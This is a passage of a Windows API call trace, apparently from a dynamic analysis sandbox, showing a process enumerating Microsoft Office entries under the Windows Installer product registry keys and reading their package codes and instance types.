hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109110000000000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.671] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.672] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.672] lstrlenW (lpString="0") returned 1 [0068.672] lstrlenW (lpString="0") returned 1 [0068.672] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.672] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{F3CA4D97-AE37-4482-A0A6-81878EA5AD04}") returned -1 [0068.672] GetCurrentThreadId () returned 0xf50 [0068.672] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.672] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x2, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="000061091A0090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.672] GetCurrentThreadId () returned 0xf50 [0068.672] GetCurrentThreadId () returned 0xf50 [0068.672] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.672] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.672] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.672] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.673] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.673] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.673] GetCurrentThreadId () returned 0xf50 [0068.673] GetCurrentThreadId () returned 0xf50 [0068.673] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.673] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.673] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.673] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.673] LocalFree (hMem=0x32f770) returned 0x0 [0068.673] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.673] GetCurrentThreadId () returned 0xf50 [0068.673] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.673] lstrlenW (lpString="{90160000-00A1-0409-0000-0000000FF1CE}") returned 38 [0068.673] lstrlenW (lpString="000061091A0090400000000000F01FEC") returned 32 [0068.673] GetCurrentThreadId () returned 0xf50 [0068.673] GetCurrentThreadId () returned 0xf50 [0068.674] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.674] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.674] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.674] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.674] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.674] lstrlenW (lpString="000061091A0090400000000000F01FEC") returned 32 [0068.674] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.674] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\000061091A0090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.674] GetCurrentThreadId () returned 0xf50 [0068.674] GetCurrentThreadId () returned 0xf50 [0068.674] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.674] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.674] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.674] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.674] LocalFree (hMem=0x32f770) returned 0x0 [0068.675] lstrlenW (lpString="000061091A0090400000000000F01FEC") returned 32 [0068.675] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.675] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\000061091A0090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.675] lstrlenW (lpString="000061091A0090400000000000F01FEC") returned 32 [0068.675] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.675] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\000061091A0090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.675] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="F0D02ABF32048284E954BDE411F69F9F", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.675] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.675] lstrlenW (lpString="{90160000-00A1-0409-0000-0000000FF1CE}") returned 38 [0068.675] lstrlenW (lpString="000061091A0090400000000000F01FEC") returned 32 [0068.675] lstrlenW (lpString="000061091A0090400000000000F01FEC") returned 32 [0068.675] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.675] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\000061091A0090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.675] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.675] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.676] lstrlenW (lpString="0") returned 1 [0068.676] lstrlenW (lpString="0") returned 1 [0068.676] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.676] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{FBA20D0F-4023-4828-9E45-DB4E116FF9F9}") returned -1 [0068.676] GetCurrentThreadId () returned 0xf50 [0068.676] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.676] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x3, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="000061091E0090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.676] GetCurrentThreadId () returned 0xf50 [0068.676] GetCurrentThreadId () returned 0xf50 [0068.676] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.676] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.676] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.676] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.676] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.677] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.677] GetCurrentThreadId () returned 0xf50 [0068.677] GetCurrentThreadId () returned 0xf50 [0068.677] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.677] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.677] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.677] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.677] LocalFree (hMem=0x32f770) returned 0x0 [0068.677] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.677] GetCurrentThreadId () returned 0xf50 [0068.677] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.677] lstrlenW (lpString="{90160000-00E1-0409-0000-0000000FF1CE}") returned 38 [0068.677] lstrlenW (lpString="000061091E0090400000000000F01FEC") returned 32 [0068.677] GetCurrentThreadId () returned 0xf50 [0068.677] GetCurrentThreadId () returned 0xf50 [0068.677] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.678] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.678] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.678] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.678] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.678] lstrlenW (lpString="000061091E0090400000000000F01FEC") returned 32 [0068.678] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.678] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\000061091E0090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.678] GetCurrentThreadId () returned 0xf50 [0068.678] GetCurrentThreadId () returned 0xf50 [0068.680] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.680] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.680] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.680] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.680] LocalFree (hMem=0x32f770) returned 0x0 [0068.680] lstrlenW (lpString="000061091E0090400000000000F01FEC") returned 32 [0068.680] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.680] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\000061091E0090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.680] lstrlenW (lpString="000061091E0090400000000000F01FEC") returned 32 [0068.680] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.680] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\000061091E0090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.680] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="63E4CEE8BD0BF20499B6A93ADDEA3F75", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.680] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.680] lstrlenW (lpString="{90160000-00E1-0409-0000-0000000FF1CE}") returned 38 [0068.680] lstrlenW (lpString="000061091E0090400000000000F01FEC") returned 32 [0068.681] lstrlenW (lpString="000061091E0090400000000000F01FEC") returned 32 [0068.681] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.681] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\000061091E0090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.681] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.681] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.681] lstrlenW (lpString="0") returned 1 [0068.681] lstrlenW (lpString="0") returned 1 [0068.681] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.681] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{8EEC4E36-B0DB-402F-996B-9AA3DDAEF357}") returned -1 [0068.681] GetCurrentThreadId () returned 0xf50 [0068.681] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.681] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x4, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="000061092E0090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.681] GetCurrentThreadId () returned 0xf50 [0068.682] GetCurrentThreadId () returned 0xf50 [0068.682] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.682] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.682] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.682] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.682] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.682] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.682] GetCurrentThreadId () returned 0xf50 [0068.682] GetCurrentThreadId () returned 0xf50 [0068.682] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.682] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.682] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.682] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.682] LocalFree (hMem=0x32f770) returned 0x0 [0068.682] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.683] GetCurrentThreadId () returned 0xf50 [0068.683] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.683] lstrlenW (lpString="{90160000-00E2-0409-0000-0000000FF1CE}") returned 38 [0068.683] lstrlenW (lpString="000061092E0090400000000000F01FEC") returned 32 [0068.683] GetCurrentThreadId () returned 0xf50 [0068.683] GetCurrentThreadId () returned 0xf50 [0068.683] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.683] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.683] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.683] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: 